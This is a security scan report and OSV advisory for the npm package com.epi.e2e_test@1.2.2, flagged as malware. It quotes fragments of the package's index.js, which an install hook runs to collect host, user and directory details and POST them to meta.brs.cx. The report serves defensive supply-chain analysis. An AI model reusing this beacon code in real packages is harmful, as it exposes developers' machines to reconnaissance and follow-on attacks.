registry / com.epi.e2e_test / 1.2.2

com.epi.e2e_test@1.2.2

Meta White Hat Researcher

AI Security Review

scanned 8d ago · by lpm-firewall-ai

An automatic installation hook collects identifying host and installation information and transmits it to an external endpoint.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Installing the package with lifecycle scripts enabled, or importing its entrypoint.

Impact

Exposes identifying host information and local directory paths to the external recipient.

Mechanism

Top-level code gathers operating system information, encodes it as form data, and sends an HTTPS POST without an opt-in check.

Attack narrative

The preinstall hook executes index.js automatically. Its top-level code collects host and installation identifiers, then posts the encoded data to meta.brs.cx. The same behavior runs when the entrypoint is imported. No consent gate restricts this transmission.

AI rationale

The source establishes automatic collection and external transmission of identifying local information during installation. This concrete data exfiltration supports blocking the package.

Evidence

package.jsonindex.js

Network endpoints1

meta.brs.cx

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-17415

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in com.epi.e2e_test (npm)

Details

package.json declares a preinstall script that runs index.js on npm install. index.js collects host identifiers (os.homedir(), os.hostname(), os.userInfo().username, dns.getServers(), current working directory) along with the contents of the package.json and POSTs them over HTTPS to the hardcoded external host meta.brs.cx. This behavior fires automatically on install with no user interaction, and the collected data is characteristic of dependency-confusion / internal-name reconnaissance beacons used to identify targets for follow-on attacks.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json automatically runs index.js during preinstall.
index.js collects the installation directory, home directory, hostname, username, DNS servers, and package metadata.
index.js encodes the collected data and sends it by HTTPS POST to meta.brs.cx without a consent gate.

Evidence against

The inspected code does not read credential files or execute downloaded payloads.

Behavioral surface

Source

Network

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.04 KB of source

Source & flagged code

9 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

11"preinstall": "node index.js" } }

High

Ai Review Evidence

package.json automatically runs index.js during preinstall.

package.jsonView on unpkg · L11

index.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: const querystring = require("querystring"); L4: const https = require("https"); L5: const packageJSON = require("./package.json"); L6: const package = packageJSON.name; ... L9: p: package, L10: c: __dirname, L11: hd: os.homedir(), L12: hn: os.hostname(), L13: un: os.userInfo().username, ... L36: res.on("data", (d) => {

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

•matchType = malicious_source_fingerprint_signature signature = afa22177d930fde8 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = eslint-plugin-skywagon-web@100.0.0 matchedPath = index.js matchedIdentity = npm:[redacted]:100.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

8const trackingData = JSON.stringify({ p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo().username, dns: dns.getServers(), r: packageJS

High

Ai Review Evidence

index.js collects the installation directory, home directory, hostname, username, DNS servers, and package metadata.

index.jsView on unpkg · L8

20var postData = querystring.stringify({ msg: trackingData, }); va

High

Ai Review Evidence

index.js encodes the collected data and sends it by HTTPS POST to meta.brs.cx without a consent gate.

index.jsView on unpkg · L20

24var options = { hostname: "meta.brs.cx", //replace burpcollaborator.net with Interactsh or pipedream port: 443, path: "/", method: "POST", headers: {

High

Ai Review Evidence

index.js encodes the collected data and sends it by HTTPS POST to meta.brs.cx without a consent gate.

index.jsView on unpkg · L24

35var req = https.request(options, (res) => { res.on("data", (d) => { process.stdout.write(d); }); }); re

High

Ai Review Evidence

index.js encodes the collected data and sends it by HTTPS POST to meta.brs.cx without a consent gate.

index.jsView on unpkg · L35

45req.write(postData); req.end();

High

Ai Review Evidence

index.js encodes the collected data and sends it by HTTPS POST to meta.brs.cx without a consent gate.

index.jsView on unpkg · L45

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

11"preinstall": "node index.js" } }

High

Ai Review Evidence

package.json automatically runs index.js during preinstall.

package.jsonView on unpkg · L11

index.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

8const trackingData = JSON.stringify({ p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo().username, dns: dns.getServers(), r: packageJS

High

Ai Review Evidence

index.js collects the installation directory, home directory, hostname, username, DNS servers, and package metadata.

index.jsView on unpkg · L8

20var postData = querystring.stringify({ msg: trackingData, }); va

High

Ai Review Evidence

index.js encodes the collected data and sends it by HTTPS POST to meta.brs.cx without a consent gate.

index.jsView on unpkg · L20

24var options = { hostname: "meta.brs.cx", //replace burpcollaborator.net with Interactsh or pipedream port: 443, path: "/", method: "POST", headers: {

High

Ai Review Evidence

index.js encodes the collected data and sends it by HTTPS POST to meta.brs.cx without a consent gate.

index.jsView on unpkg · L24

35var req = https.request(options, (res) => { res.on("data", (d) => { process.stdout.write(d); }); }); re

High

Ai Review Evidence

index.js encodes the collected data and sends it by HTTPS POST to meta.brs.cx without a consent gate.

index.jsView on unpkg · L35

45req.write(postData); req.end();

High

Ai Review Evidence

index.js encodes the collected data and sends it by HTTPS POST to meta.brs.cx without a consent gate.

index.jsView on unpkg · L45

Findings

9 High1 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

LowScripts Present

Affected versions and remediation

This report applies to com.epi.e2e_test@1.2.2.

See version security history for other recorded verdicts.

Avoid installing com.epi.e2e_test@1.2.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-30 14:30:07.754Z (UTC).

Source advisory published: 2026-09-30 13:50:32.000Z (UTC).